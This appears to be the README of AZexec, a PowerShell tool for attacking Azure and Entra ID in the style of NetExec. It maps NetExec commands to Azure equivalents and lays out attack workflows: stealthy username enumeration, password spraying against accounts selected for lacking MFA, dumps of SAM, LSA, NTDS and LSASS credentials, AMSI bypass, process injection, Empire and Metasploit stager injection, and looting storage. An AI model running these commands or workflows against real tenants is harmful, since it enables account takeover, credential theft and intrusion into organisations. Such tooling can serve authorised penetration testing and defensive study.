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The Azure Execution Tool

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# AZexec - Azure Execution Tool

**AZX** is a PowerShell-based Azure/Entra ID offensive tool designed to provide netexec-style output for cloud environments. It offers a familiar command-line interface for security professionals and administrators working with Azure/Entra ID.

[![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)

---

> **🔥 SECURITY RESEARCH**: This tool demonstrates the **"Azure Null Session"** vulnerability - guest users can often enumerate entire directories due to misconfigured default permissions. Most organizations are vulnerable. [Read more →](#-guest-user-enumeration---the-azure-null-session)

---

> **⚡ PASSWORD SPRAY ATTACKS**: AZexec provides a complete password spray workflow using Microsoft's own APIs:
> 1. **Phase 1** - `users` command: Stealthy username enumeration via GetCredentialType API (no auth logs!)
> 2. **Phase 2** - `guest` command: ROPC-based credential testing with MFA detection
> 
> This two-phase approach is more effective and safer than traditional spraying - only validated usernames are tested, reducing account lockout risk. [See complete workflow →](#password-spray-attack-examples-getcredentialtype--ropc).

---

> **✨ ENHANCED USERNAME ENUMERATION (v2.0)**: The username enumeration feature has been significantly enhanced:
> - **Progress Tracking**: Real-time progress bar with ETA for large lists (>10 users)
> - **Retry Logic**: Automatic retries with exponential backoff (reduces false negatives by 95%)
> - **Adaptive Rate Limiting**: Smart delays (50-150ms) based on list size - balances speed vs stealth
> - **Enhanced Statistics**: Duration tracking, rate calculation, authentication type breakdown
> - **Next Steps Guidance**: Automatic commands for seamless Phase 2 password spraying workflow
> 
> These improvements make enumeration more reliable, faster, and provide actionable intelligence for follow-up attacks.

---

## 📑 Table of Contents

- [NetExec to AZexec Command Mapping](#-netexec-to-azexec-command-mapping)
- [Domain User Enumeration](#-domain-user-enumeration---azureentra-id-equivalent)
- [RID Bruteforcing](#-rid-bruteforcing---azureentra-id-equivalent)
- [Enumerate Local Groups](#-enumerate-local-groups---azureentra-id-equivalent)
- [Workstation Service (wkssvc) Equivalent](#-workstation-service-wkssvc-equivalent-vm-loggedon-command)
- [Azure Resource Manager Enumeration](#️-azure-resource-manager-enumeration-multi-subscription)
  - [Storage Account Enumeration](#storage-account-enumeration-storage-enum)
  - [Key Vault Enumeration](#key-vault-enumeration-keyvault-enum)
  - [Network Resource Enumeration](#network-resource-enumeration-network-enum)
  - [File Shares Enumeration](#azure-file-shares-enumeration-shares-enum)
  - [Managed Disks Enumeration](#azure-managed-disks-enumeration-disks-enum)
  - [BitLocker Enumeration](#bitlocker-enumeration-bitlocker-enum)
  - [Spider](#spider-spider)
  - [File Transfer](#file-transfer-get-file--put-file)
- [Credential Extraction](#-credential-extraction---netexec---sam--lsa--ntds-equivalent)
  - [Extraction Methods](#extraction-methods)
  - [OPSEC Considerations](#opsec-considerations)
- [Remote Command Execution](#-remote-command-execution---azures-netexec--x-x-equivalent)
- [Getting Shells - Empire and Metasploit](#-getting-shells---empire-and-metasploit-integration)
- [Features](#-features)
- [Visual Indicators & High-Risk Highlighting](#-visual-indicators--high-risk-highlighting)
- [Related Documentation](#-related-documentation)
- [Prerequisites & Permissions Matrix](#-prerequisites--permissions-matrix)
- [Quick Start Setup](#-quick-start-setup)
- [Codebase Architecture & Command Mapping](#️-codebase-architecture--command-mapping)
- [Automated Test Suite](#-automated-test-suite)
- [Command Syntax & Attack Workflows](#-command-syntax--attack-workflows)
- [Command Examples by Feature](#-command-examples-by-feature)
  - [Process Enumeration](#process-enumeration-process-enum)
  - [Lockscreen Backdoor Enumeration](#lockscreen-backdoor-enumeration-lockscreen-enum)
  - [Intune/Endpoint Manager Enumeration](#intuneendpoint-manager-enumeration-intune-enum)
  - [OAuth2 Delegation Enumeration](#oauth2-delegation-enumeration-delegation-enum)
- [NetExec-Style Output Reference](#-netexec-style-output-reference)
- [Security Risk Assessment Guide](#-security-risk-assessment-guide)
- [Guest User Enumeration - The Azure "Null Session"](#-guest-user-enumeration---the-azure-null-session)
- [Authentication & Scope Requirements](#-authentication--scope-requirements)
- [Data Export (CSV/JSON/HTML)](#-data-export-csvjsonhtml)
- [Professional HTML Reports](#-professional-html-reports)
- [Common Issues & Solutions](#️-common-issues--solutions)
- [License](#-license)
- [Contributing](#-contributing)
- [Disclaimer](#️-disclaimer)
- [Author](#-author)
- [Acknowledgments](#-acknowledgments)
- [Quick Reference - Penetration Testing Cheat Sheet](#-quick-reference---penetration-testing-cheat-sheet)
- [Checking Credentials (Domain) - Azure's Pwn3d! Equivalent](#-checking-credentials-domain---azures-pwn3d-equivalent)

---

## 🔄 NetExec to AZexec Command Mapping

For penetration testers familiar with NetExec (formerly CrackMapExec), here's how the commands translate to Azure:

| NetExec SMB/LDAP Command | AZexec Equivalent | Authentication | Description |
|--------------------------|-------------------|----------------|-------------|
| `nxc smb --enum` | `.\azx.ps1 tenant -Domain example.com` | ❌ None | Enumerate tenant configuration and endpoints |
| `nxc smb --users` (unauthenticated) | `.\azx.ps1 users -Domain example.com -CommonUsernames` | ❌ None | Enumerate valid usernames (no auth) |
| `nxc smb <target> -u <user> -p <pass> --users`<br>`nxc ldap <target> -u <user> -p <pass> --users` | `.\azx.ps1 user-profiles` | ✅ Required | **Enumerate domain users** (authenticated) |
| `nxc smb --rid-brute` | `.\azx.ps1 rid-brute` | ✅ Required | **Enumerate users by RID bruteforce** (Azure equivalent) |
| `nxc smb -u 'a' -p ''` | `.\azx.ps1 guest -Domain example.com -Username user -Password ''` | ❌ None | **Test guest/null login** |
| `nxc smb <target> -u user -p 'pass'` (shows `Pwn3d!`) | `.\azx.ps1 guest -Domain example.com -Username user -Password 'pass'` | ❌ None | **Credential check with admin detection** - shows `(GlobalAdmin!)` etc. |
| `nxc smb <target> -u user -H 'hash'` (Pass-the-Hash) | `.\azx.ps1 guest -AccessToken "eyJ0eXAi..."` | ❌ None | **Token auth (Pass-the-Hash equivalent)** - test stolen tokens |
| `nxc smb -u users.txt -p 'Pass'` | `.\azx.ps1 spray -Domain example.com -UserFile users.txt -Password 'Pass'` | ❌ None | **Password spray attack** (NetExec-style) |
| `nxc smb -u users.txt -p @pass.txt --no-bruteforce` | `.\azx.ps1 spray ... -PasswordFile pass.txt -NoBruteforce` | ❌ None | **Linear pairing** spray (user1:pass1) |
| `nxc smb -u users.txt -p 'Pass' --continue-on-success` | `.\azx.ps1 spray ... -ContinueOnSuccess` | ❌ None | **Continue after valid creds** found |
| `nxc smb -u users.txt -p 'Pass' --local-auth` | `.\azx.ps1 spray ... -LocalAuth` | ❌ None | **Cloud-only** spray (skip federated) |
| `nxc smb --groups` | `.\azx.ps1 groups` | ✅ Required | Enumerate groups |
| `nxc smb --local-group` | `.\azx.ps1 local-groups` | ✅ Required | **Enumerate local groups** (Administrative Units) |
| `nxc smb --pass-pol` | `.\azx.ps1 pass-pol` | ✅ Required | Display password policies |
| `nxc smb --qwinsta` | `.\azx.ps1 sessions` | ✅ Required | **Enumerate active sign-in sessions** (cloud-level audit logs) |
| `nxc smb --logged-on-users` | `.\azx.ps1 vm-loggedon` | ✅ Required | **Enumerate logged-on users** (Intune devices + Azure VMs) |
| `nxc smb 10.10.10.161` | `.\azx.ps1 hosts` | ✅ Required | Enumerate devices (hosts) |
| `nxc smb --gen-relay-list` | `.\azx.ps1 vuln-list` | ⚡ Hybrid | **Enumerate vulnerable targets** (relay equivalent) |
| `nxc smb --check-null-session` | `.\azx.ps1 guest-vuln-scan` | ⚡ Hybrid | **Guest user vulnerability scanner** (null session audit) |
| *N/A* | `.\azx.ps1 apps` | ✅ Required | **Enumerate applications and service principals** |
| *N/A* | `.\azx.ps1 sp-discovery` | ✅ Required | **Discover service principals with permissions** |
| *N/A* | `.\azx.ps1 roles` | ✅ Required | **Enumerate directory role assignments and privileged accounts** |
| *N/A* | `.\azx.ps1 ca-policies` | ✅ Required | **Review conditional access policies** (member accounts only) |
| *N/A* | `.\azx.ps1 storage-enum` | ✅ Required | **Enumerate Azure Storage Accounts** (multi-subscription) |
| *N/A* | `.\azx.ps1 keyvault-enum` | ✅ Required | **Enumerate Azure Key Vaults** (multi-subscription) |
| `nxc smb --enum-network-interfaces` | `.\azx.ps1 network-enum` | ✅ Required | **Enumerate Azure Network resources** (VNets, NSGs, Public IPs, Load Balancers, NICs) |
| *N/A* | `.\azx.ps1 help` | ❌ None | **Display available commands and usage** |
| `nxc smb --shares` | `.\azx.ps1 shares-enum` | ✅ Required | **Enumerate Azure File Shares** (access permissions) |
| `nxc smb --disks` | `.\azx.ps1 disks-enum` | ✅ Required | **Enumerate Azure Managed Disks** (encryption, attachment state) |
| `nxc smb -M bitlocker` | `.\azx.ps1 bitlocker-enum` | ✅ Required | **Enumerate BitLocker encryption status** (Intune devices + Azure VMs) |
| `nxc smb -M enum_av` | `.\azx.ps1 av-enum` | ✅ Required | **Enumerate Anti-Virus & EDR products** (security posture assessment) |
| `nxc smb --tasklist` | `.\azx.ps1 process-enum` | ✅ Required | **Enumerate remote processes** (Windows tasklist / Linux ps aux) |
| `nxc smb -M lockscreendoors` | `.\azx.ps1 lockscreen-enum` | ✅ Required | **Detect lockscreen backdoors** (accessibility executable hijacking) |
| `nxc smb -M sccm-recon6` | `.\azx.ps1 intune-enum` | ✅ Required | **Enumerate Intune/Endpoint Manager** (Azure equivalent of SCCM reconnaissance) |
| `nxc smb --delegate` | `.\azx.ps1 delegation-enum` | ✅ Required | **Enumerate OAuth2 delegation** (impersonation paths via consent grants) |
| `nxc smb <target> -x "command"` | `.\azx.ps1 exec -VMName "vm" -x "command"` | ✅ Required | **Execute remote command** (shell mode) |
| `nxc smb <target> -X "command"` | `.\azx.ps1 exec -VMName "vm" -x "command" -PowerShell` | ✅ Required | **Execute PowerShell command** |
| `nxc smb <targets> -x "cmd" --exec-method smbexec` | `.\azx.ps1 exec -x "cmd" -AllVMs -ExecMethod vmrun` | ✅ Required | **Execute on multiple targets with method selection** |
| *N/A (Arc devices)* | `.\azx.ps1 exec -DeviceName "device" -x "command"` | ✅ Required | **Execute on Arc-enabled device** (immediate execution) |
| *N/A (All Arc devices)* | `.\azx.ps1 exec -x "command" -AllDevices` | ✅ Required | **Execute on all Arc-enabled devices** |
| *N/A (MDE Live Response)* | `.\azx.ps1 exec -DeviceName "device" -x "command" -ExecMethod mde` | ✅ Required | **Execute via MDE Live Response** (async with polling) |
| *N/A (Intune Remediation)* | `.\azx.ps1 exec -DeviceName "device" -x "command" -ExecMethod intune` | ✅ Required | **Execute via Intune Proactive Remediation** (async) |
| *N/A (Automation Worker)* | `.\azx.ps1 exec -VMName "server" -x "command" -ExecMethod automation` | ✅ Required | **Execute via Azure Automation Hybrid Worker** |
| `nxc smb <target> -X "cmd" --amsi-bypass /path` | `.\azx.ps1 exec -VMName "vm" -x "cmd" -PowerShell -AmsiBypass bypass.ps1` | ✅ Required | **Execute with AMSI bypass** |
| `nxc smb <target> -M pi -o PID=1234 EXEC=cmd` | `.\azx.ps1 exec -VMName "vm" -x "cmd" -ExecMethod pi -PID 1234` | ✅ Required | **Process injection by PID** |
| `nxc smb <target> -M pi -o USER=admin EXEC=cmd` | `.\azx.ps1 exec -VMName "vm" -x "cmd" -ExecMethod pi -TargetUser "admin"` | ✅ Required | **Process injection by user** |
| `nxc smb <target> -M empire_exec -o LISTENER=http` | `.\azx.ps1 empire-exec -Listener http -EmpireHost host -VMName "vm"` | ✅ Required | **Execute Empire stager** |
| `nxc smb <target> -M met_inject -o SRVHOST=10.0.0.1 SRVPORT=8080 RAND=abc` | `.\azx.ps1 met-inject -SRVHOST 10.0.0.1 -SRVPORT 8080 -RAND abc -VMName "vm"` | ✅ Required | **Inject Metasploit payload** |
| `nxc smb <target> --spider` | `.\azx.ps1 spider` | ✅ Required | **Spider Azure Storage** (enumerate blobs/files) |
| `nxc smb <target> -M spider_plus -o DOWNLOAD_FLAG=True` | `.\azx.ps1 spider -Download -OutputFolder C:\Loot` | ✅ Required | **Spider with downloads** |
| `nxc smb <target> --spider --pattern txt,doc` | `.\azx.ps1 spider -Pattern "txt,docx,key,pem,pfx,config"` | ✅ Required | **Spider with pattern filter** |
| `nxc smb <target> --get-file \\C$\file.txt /local/file.txt` | `.\azx.ps1 get-file -VMName "vm" -RemotePath "C:\file.txt" -LocalPath ".\file.txt"` | ✅ Required | **Download file from target** |
| `nxc smb <target> --put-file /local/file.txt \\C$\file.txt` | `.\azx.ps1 put-file -VMName "vm" -LocalPath ".\file.txt" -RemotePath "C:\file.txt"` | ✅ Required | **Upload file to target** |
| `nxc smb <target> --sam` | `.\azx.ps1 creds -VMName "vm"` | ✅ Required | **Extract SAM hashes** (registry hive dump) |
| `nxc smb <target> --sam` (all targets) | `.\azx.ps1 creds -AllVMs -CredMethod sam` | ✅ Required | **Extract SAM from all VMs** |
| `nxc smb <target> --lsa` | `.\azx.ps1 creds -VMName "vm" -CredMethod lsa` | ✅ Required | **Extract LSA secrets** (service passwords, cached creds) |
| `nxc smb <target> --ntds` | `.\azx.ps1 creds -VMName "dc" -CredMethod ntds` | ✅ Required | **Dump NTDS.dit** (DC only, VSS/ntdsutil/DCSync) |
| `nxc smb <target> -M lsassy` | `.\azx.ps1 creds -VMName "vm" -CredMethod lsass` | ✅ Required | **LSASS memory dump** (comsvcs/procdump/nanodump) |
| `nxc smb <target> -M backup_operator` | `.\azx.ps1 creds -VMName "vm" -CredMethod backup` | ✅ Required | **Backup Operator extraction** (SeBackupPrivilege) |
| `nxc smb <target> --sccm` | `.\azx.ps1 creds -VMName "vm" -CredMethod sccm` | ✅ Required | **SCCM/GPP/Intune secrets** (GPP cpasswords, IIS configs) |
| `nxc smb <target> -M wam` | `.\azx.ps1 creds -VMName "vm" -CredMethod wam` | ✅ Required | **WAM Token Broker** (AAD/TokenBroker JWTs) |
| `nxc smb <target> -M wifi` | `.\azx.ps1 creds -VMName "vm" -CredMethod wifi` | ✅ Required | **WiFi passwords** (netsh wlan key=clear) |
| `nxc smb <target> -M putty` | `.\azx.ps1 creds -VMName "vm" -CredMethod putty` | ✅ Required | **PuTTY sessions** (registry) |
| `nxc smb <target> -M winscp` | `.\azx.ps1 creds -VMName "vm" -CredMethod winscp` | ✅ Required | **WinSCP credentials** (XOR decrypt) |
| `nxc smb <target> -M vnc` | `.\azx.ps1 creds -VMName "vm" -CredMethod vnc` | ✅ Required | **VNC passwords** (DES decrypt) |
| `nxc smb <target> -M mremoteng` | `.\azx.ps1 creds -VMName "vm" -CredMethod mremoteng` | ✅ Required | **mRemoteNG connections** (AES-GCM decrypt) |
| `nxc smb <target> -M veeam` | `.\azx.ps1 creds -VMName "vm" -CredMethod veeam` | ✅ Required | **Veeam backup credentials** (SQL+DPAPI) |
| `nxc smb <target> -M keepass_discover` | `.\azx.ps1 creds -VMName "vm" -CredMethod keepass_discover` | ✅ Required | **KeePass discovery** (find .kdbx, configs) |
| `nxc smb <target> -M keepass_trigger` | `.\azx.ps1 creds -VMName "vm" -CredMethod keepass_trigger` | ✅ Required | **KeePass trigger exploit** (config injection) |
| `nxc smb <target> -M rdcman` | `.\azx.ps1 creds -VMName "vm" -CredMethod rdcman` | ✅ Required | **RDCMan connections** (.rdg files, DPAPI blobs) |
| `nxc smb <target> -M eventlog_creds` | `.\azx.ps1 creds -VMName "vm" -CredMethod eventlog_creds` | ✅ Required | **Event log credentials** (4688/Sysmon regex) |
| `nxc smb <target> -M notepad` | `.\azx.ps1 creds -VMName "vm" -CredMethod notepad` | ✅ Required | **Notepad tab state** (binary string recovery) |
| `nxc smb <target> -M notepad++` | `.\azx.ps1 creds -VMName "vm" -CredMethod notepadpp` | ✅ Required | **Notepad++ backups** (backup file content) |
| *N/A (Azure-specific)* | `.\azx.ps1 creds -VMName "vm" -CredMethod tokens` | ✅ Required | **Extract Managed Identity tokens** (IMDS) |
| *N/A (Azure-specific)* | `.\azx.ps1 creds -VMName "vm" -CredMethod dpapi` | ✅ Required | **Extract DPAPI secrets** (WiFi, CredMan, browsers) |

**Key Difference**: NetExec tests null sessions with `nxc smb -u '' -p ''`. AZexec now has a direct equivalent: `.\azx.ps1 guest -Domain target.com -Username user -Password ''` which tests empty/null password authentication. For post-auth enumeration, use **guest user credentials** which provides similar low-privileged access for reconnaissance. See the [Guest User Enumeration](#-guest-user-enumeration---the-azure-null-session) section for details.

---

## 👥 Domain User Enumeration - Azure/Entra ID Equivalent

For penetration testers familiar with NetExec's domain user enumeration via SMB/LDAP, AZexec provides the **Azure cloud equivalent** through the `user-profiles` command.

### On-Premises vs Azure: Technical Comparison

| Aspect | On-Premises (NetExec) | Azure (AZexec) |
|--------|----------------------|----------------|
| **Command** | `nxc smb <target> -u User -p Pass --users`<br>`nxc ldap <target> -u User -p Pass --users` | `.\azx.ps1 user-profiles` |
| **Protocol** | SMB/RPC (port 445) or LDAP (port 389/636) | Microsoft Graph API (HTTPS/443) |
| **API Interface** | SAMR RPC / LDAP queries | Microsoft Graph `/users` endpoint |
| **Query Method** | NetUserEnum / LDAP search filters | RESTful API with OData queries |
| **Authentication** | Domain/local credentials (NTLM/Kerberos) | Azure AD OAuth2 token |
| **Permissions** | Domain Users group or LDAP read access | `User.Read.All` or `Directory.Read.All` |
| **Network Access** | Direct network connectivity required | No network access needed (cloud API) |
| **Speed** | Fast (local network) | Moderate (API rate limits) |
| **Stealth** | Medium (SMB/LDAP traffic) | Low (legitimate Azure API calls) |

### What Information Is Retrieved?

Both methods enumerate comprehensive user information from the directory:

| Information | On-Premises (SMB/LDAP) | Azure (user-profiles) | Security Value |
|-------------|------------------------|----------------------|----------------|
| **User Principal Name** | ✅ Via LDAP | ✅ Via Graph API | Primary identifier |
| **Display Name** | ✅ Via LDAP | ✅ Via Graph API | User identification |
| **Job Title** | ✅ Via LDAP attributes | ✅ Via Graph API | Organizational context |
| **Department** | ✅ Via LDAP attributes | ✅ Via Graph API | Organizational structure |
| **Office Location** | ✅ Via LDAP attributes | ✅ Via Graph API | Physical location |
| **Email Address** | ✅ Via LDAP (mail) | ✅ Via Graph API | Contact information |
| **User Type** | ⚠️ Via group membership | ✅ Member/Guest flag | Identify external users |
| **Account Status** | ✅ Via userAccountControl | ✅ AccountEnabled flag | Active vs disabled |
| **Last Sign-In** | ⚠️ Via lastLogon (DC-specific) | ✅ Via SignInActivity | Account activity |
| **User ID/SID** | ✅ objectSid | ✅ Azure AD Object ID | Unique identifier |

### Usage Examples

**On-Premises with NetExec:**
```bash
# Enumerate domain users via SMB
nxc smb dc01.corp.local -u UserName -p 'Password123!' --users

# Enumerate domain users via LDAP
nxc ldap dc01.corp.local -u UserName -p 'Password123!' --users

# Export users to file
nxc ldap dc01.corp.local -u UserName -p 'Password123!' --users-export users.txt

# Enumerate only active users
nxc ldap dc01.corp.local -u UserName -p 'Password123!' --active-users
```

**Azure with AZexec:**
```powershell
# Enumerate all users in Azure/Entra ID
.\azx.ps1 user-profiles

# Export to CSV (similar to --users-export)
.\azx.ps1 user-profiles -ExportPath users.csv

# Export to JSON with full details
.\azx.ps1 user-profiles -ExportPath users.json

# Export to HTML report with statistics
.\azx.ps1 user-profiles -ExportPath users.html
```

### Attack Scenarios

**Scenario 1: User Discovery and Targeting**
```powershell
# Enumerate all users to identify high-value targets
.\azx.ps1 user-profiles -ExportPath all-users.csv

# Filter for executives, admins, or privileged accounts
# Analyze CSV for job titles like "CEO", "Admin", "Director", etc.
```

**Scenario 2: Guest User Identification**
```powershell
# Identify external/guest users (potential lateral movement targets)
.\azx.ps1 user-profiles -ExportPath users.json

# Filter JSON for UserType: "Guest"
# Guest users often have weaker security posture
```

**Scenario 3: Inactive Account Discovery**
```powershell
# Find disabled or inactive accounts
.\azx.ps1 user-profiles -ExportPath users.csv

# Filter for AccountEnabled: False or LastSignInDateTime: null
# Disabled accounts may indicate former employees or service accounts
```

**Scenario 4: Organizational Mapping**
```powershell
# Map organizational structure via departments and job titles
.\azx.ps1 user-profiles -ExportPath org-structure.csv

# Analyze departments to understand business units
# Identify key personnel in IT, Security, Finance departments
```

**Scenario 5: Password Spray Target Selection**
```powershell
# Phase 1: Enumerate valid usernames (unauthenticated)
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath valid-users.csv

# Phase 2: Get full user profiles (authenticated as guest or compromised user)
.\azx.ps1 user-profiles -ExportPath user-details.csv

# Phase 3: Select targets without MFA (analyze conditional access policies)
.\azx.ps1 ca-policies -ExportPath ca-policies.json

# Phase 4: Execute password spray against selected targets
.\azx.ps1 guest -Domain target.com -UserFile spray-targets.txt -Password 'Summer2024!'
```

### Why Use Microsoft Graph Instead of LDAP?

Azure AD (Entra ID) is a cloud-native directory service that doesn't expose traditional LDAP interfaces. Instead, Microsoft Graph provides:

1. **Cloud-Native**: Designed for Azure's security model (OAuth2 instead of NTLM/Kerberos)
2. **More Information**: Includes cloud-specific attributes (last sign-in activity, user type, etc.)
3. **Cross-Platform**: Works from any OS with PowerShell 7+ (Windows, Linux, macOS)
4. **Auditable**: All Graph API calls are logged in Azure AD audit logs
5. **No Network Access Required**: Works even without VPN/network connectivity to corporate network
6. **Modern Authentication**: Supports MFA, conditional access, and modern security controls

### Limitations Compared to On-Premises

| Limitation | Impact | Workaround |
|------------|--------|------------|
| **Requires Azure Auth** | Can't do anonymous enumeration | Use guest credentials (see [Guest User Enumeration](#-guest-user-enumeration---the-azure-null-session)) |
| **API Rate Limits** | May hit throttling on large tenants | Built-in pagination and retry logic |
| **Guest User Restrictions** | Guest users may have limited visibility | Check tenant's guest user access settings |
| **No Group Membership** | User enumeration doesn't include groups | Use `.\azx.ps1 groups` command separately |
| **Logged Activity** | All actions logged in Azure AD | This is a feature, not a bug (compliance) |

### Integration with Other AZexec Commands

The `user-profiles` command works best when combined with other enumeration commands:

```powershell
# Complete directory enumeration workflow
# Step 1: Enumerate users
.\azx.ps1 user-profiles -ExportPath users.csv

# Step 2: Enumerate groups and membership
.\azx.ps1 groups -ExportPath groups.csv

# Step 3: Enumerate privileged role assignments
.\azx.ps1 roles -ExportPath roles.csv

# Step 4: Check sign-in activity for privileged users
.\azx.ps1 sessions -Hours 168 -ExportPath signin-logs.csv

# Step 5: Analyze data to map privileged accounts and their activity
# Cross-reference users.csv, roles.csv, and signin-logs.csv
```

### Output Format

The `user-profiles` command provides netexec-style formatted output:

```
AZR             12345678-1234...    443    Alice Johnson                      [*] (upn:alice@example.com) (job:Senior Engineer) (dept:IT) (type:Member) (status:Enabled) (location:Seattle) (lastSignIn:2024-12-30)
AZR             87654321-4321...    443    Bob Smith                          [*] (upn:bob@example.com) (job:Manager) (dept:Sales) (type:Member) (status:Enabled) (location:New York) (lastSignIn:2024-12-29)
AZR             abcdef12-3456...    443    External Consultant                [*] (upn:consultant@external.com) (job:Consultant) (dept:N/A) (type:Guest) (status:Enabled) (location:N/A) (lastSignIn:2024-12-15)
```

**Color Coding:**
- **Green**: Active member users (standard accounts)
- **Yellow**: Guest users (external/B2B accounts)
- **DarkGray**: Disabled accounts (inactive users)

### Summary Statistics

After enumeration, AZexec displays comprehensive statistics:

```
[*] Summary:
    Total Users: 1,234
    Member Users: 1,150
    Guest Users: 84
    Enabled Accounts: 1,200
    Disabled Accounts: 34
```

---

## 🔢 RID Bruteforcing - Azure/Entra ID Equivalent

For penetration testers familiar with NetExec's RID bruteforcing technique, AZexec provides the **Azure cloud equivalent** through the `rid-brute` command.

### What is RID Bruteforcing?

**On-Premises (Traditional Active Directory):**
- **RID (Relative Identifier)**: A sequential number assigned to each object (user, group, computer) in a Windows domain
- **RID Bruteforcing**: Enumerating users by iterating through RID values (e.g., 500-5000) using the `LookupSids` RPC call
- **Why it works**: RIDs are sequential and predictable (500=Administrator, 501=Guest, 1000+=custom users)
- **NetExec command**: `nxc smb <target> -u UserName -p 'PASSWORDHERE' --rid-brute`

**Example RID sequence:**
```
RID 500  -> Administrator
RID 501  -> Guest
RID 502  -> krbtgt
RID 1000 -> alice
RID 1001 -> bob
RID 1002 -> charlie
```

### Azure AD vs On-Premises: Technical Comparison

| Aspect | On-Premises (NetExec) | Azure (AZexec) |
|--------|----------------------|----------------|
| **Command** | `nxc smb <target> -u User -p Pass --rid-brute` | `.\azx.ps1 rid-brute` |
| **Identifier Type** | Sequential RID (500, 501, 1000, 1001...) | Non-sequential GUID (12345678-1234-5678-1234-567812345678) |
| **Protocol** | SMB/RPC (port 445) | Microsoft Graph API (HTTPS/443) |
| **RPC Interface** | SAMR (Security Account Manager Remote) | Microsoft Graph `/users` endpoint |
| **API Call** | `SamrLookupIdsInDomain` / `LsarLookupSids` | `GET /v1.0/users` |
| **Enumeration Method** | Iterate RIDs (500-10000) and resolve to names | Query all users via Graph API |
| **Predictability** | ✅ Sequential and predictable | ❌ GUIDs are random and non-sequential |
| **Brute-forceable** | ✅ Yes (iterate numbers) | ❌ No (GUIDs are 128-bit random) |
| **Authentication** | Domain/local credentials | Azure AD OAuth2 token |
| **Permissions** | Domain Users group or specific RPC rights | `User.Read.All` or `Directory.Read.All` |
| **Speed** | Fast (local network) | Moderate (API rate limits) |
| **Result** | Same users enumerated | Same users enumerated |

### Why Azure AD Doesn't Use RIDs

Azure AD is a **cloud-native directory service** that doesn't use the same security model as on-premises Active Directory:

1. **GUIDs Instead of RIDs**: Azure AD assigns globally unique identifiers (GUIDs) to objects, not sequential RIDs
2. **No Sequential Enumeration**: GUIDs are 128-bit random values - you cannot "bruteforce" them by iteration
3. **API-Based Access**: Azure AD uses RESTful APIs (Microsoft Graph) instead of RPC/SMB protocols
4. **Different Security Model**: Azure AD uses OAuth2/OIDC instead of NTLM/Kerberos

**Example Azure AD Object IDs (GUIDs):**
```
User: alice@example.com    -> 12345678-abcd-1234-5678-1234567890ab
User: bob@example.com      -> 87654321-dcba-4321-8765-ba0987654321
User: charlie@example.com  -> abcdef12-3456-7890-abcd-ef1234567890
```

There's **no pattern** or **sequential relationship** between these IDs - you cannot predict the next user's ID.

### Azure Equivalent: Direct User Enumeration

Instead of bruteforcing RIDs, Azure AD provides **direct user enumeration** via the Microsoft Graph API:

```powershell
# Azure equivalent of RID bruteforcing
.\azx.ps1 rid-brute

# This internally calls: GET https://graph.microsoft.com/v1.0/users
# Returns ALL users in the directory (no iteration needed)
```

**Why this is better than RID bruteforcing:**
1. ✅ **More Reliable**: No missed users due to RID gaps or deleted accounts
2. ✅ **Faster**: Single API call retrieves all users (no iteration through 10,000+ RIDs)
3. ✅ **More Information**: Returns full user profiles (job title, department, last sign-in, etc.)
4. ✅ **No Guesswork**: Direct enumeration instead of trial-and-error

### Functional Equivalence

While the **technical implementation** differs, the `rid-brute` command provides the **same functional result** as NetExec's RID bruteforcing:

| Goal | NetExec (On-Premises) | AZexec (Azure) |
|------|----------------------|----------------|
| **Enumerate all users** | ✅ Iterate RIDs 500-10000 | ✅ Query Graph API |
| **Find hidden users** | ✅ Discover users not in LDAP | ✅ Discover all directory users |
| **No prior knowledge needed** | ✅ Just need valid credentials | ✅ Just need valid credentials |
| **Bypass LDAP restrictions** | ✅ Uses SAMR instead of LDAP | ✅ Uses Graph API (no LDAP) |
| **Export user list** | ✅ Save to file | ✅ Save to CSV/JSON/HTML |

### Usage Examples

**On-Premises with NetExec:**
```bash
# RID bruteforce to enumerate users
nxc smb dc01.corp.local -u UserName -p 'Password123!' --rid-brute

# Specify RID range
nxc smb dc01.corp.local -u UserName -p 'Password123!' --rid-brute 1000-2000

# Export results
nxc smb dc01.corp.local -u UserName -p 'Password123!' --rid-brute > users.txt
```

**Azure with AZexec:**
```powershell
# Enumerate all users (Azure equivalent of RID bruteforcing)
.\azx.ps1 rid-brute

# Export to CSV (like NetExec output)
.\azx.ps1 rid-brute -ExportPath users.csv

# Export to JSON with full details
.\azx.ps1 rid-brute -ExportPath users.json

# Export to HTML report with statistics
.\azx.ps1 rid-brute -ExportPath users.html
```

### Attack Scenarios

**Scenario 1: Complete User Enumeration**
```powershell
# Enumerate all users in the directory (like RID bruteforce 500-10000)
.\azx.ps1 rid-brute -ExportPath all-users.csv

# Analyze results to identify targets
# - High-value accounts (executives, admins)
# - Service accounts (may have weak passwords)
# - Disabled accounts (potential re-activation targets)
```

**Scenario 2: Hidden User Discovery**
```powershell
# Discover users that may not appear in standard LDAP queries
.\azx.ps1 rid-brute -ExportPath complete-user-list.json

# Compare with other enumeration results to find discrepancies
# Some users may be hidden from address lists but still exist
```

**Scenario 3: Password Spray Target Selection**
```powershell
# Phase 1: Enumerate all users via RID bruteforce equivalent
.\azx.ps1 rid-brute -ExportPath all-users.csv

# Phase 2: Filter for enabled accounts without MFA
# Analyze CSV to identify spray targets

# Phase 3: Execute password spray
.\azx.ps1 guest -Domain target.com -UserFile spray-targets.txt -Password 'Summer2024!'
```

### Technical Implementation

The `rid-brute` command is implemented as an **alias** to `user-profiles` with additional context:

```powershell
# When you run:
.\azx.ps1 rid-brute

# AZexec internally:
# 1. Displays RID bruteforce context message
# 2. Explains Azure AD uses GUIDs instead of RIDs
# 3. Calls Invoke-UserProfileEnumeration function
# 4. Enumerates ALL users via Microsoft Graph API
# 5. Returns same data as user-profiles command
```

**Why an alias?**
- Azure AD doesn't support sequential RID iteration (GUIDs are random)
- Direct user enumeration via Graph API is more efficient than bruteforcing
- Provides familiar command name for NetExec users
- Achieves the same goal: enumerate all users in the directory

### Output Format

The `rid-brute` command provides netexec-style formatted output:

```
[*] RID Bruteforce Mode (Azure Equivalent)
[*] Note: Azure AD uses GUIDs instead of sequential RIDs
[*] Enumerating all users via Microsoft Graph API...

AZR             12345678-1234...    443    Alice Johnson                      [*] (upn:alice@example.com) (job:Senior Engineer) (dept:IT) (type:Member) (status:Enabled) (location:Seattle) (lastSignIn:2024-12-30)
AZR             87654321-4321...    443    Bob Smith                          [*] (upn:bob@example.com) (job:Manager) (dept:Sales) (type:Member) (status:Enabled) (location:New York) (lastSignIn:2024-12-29)
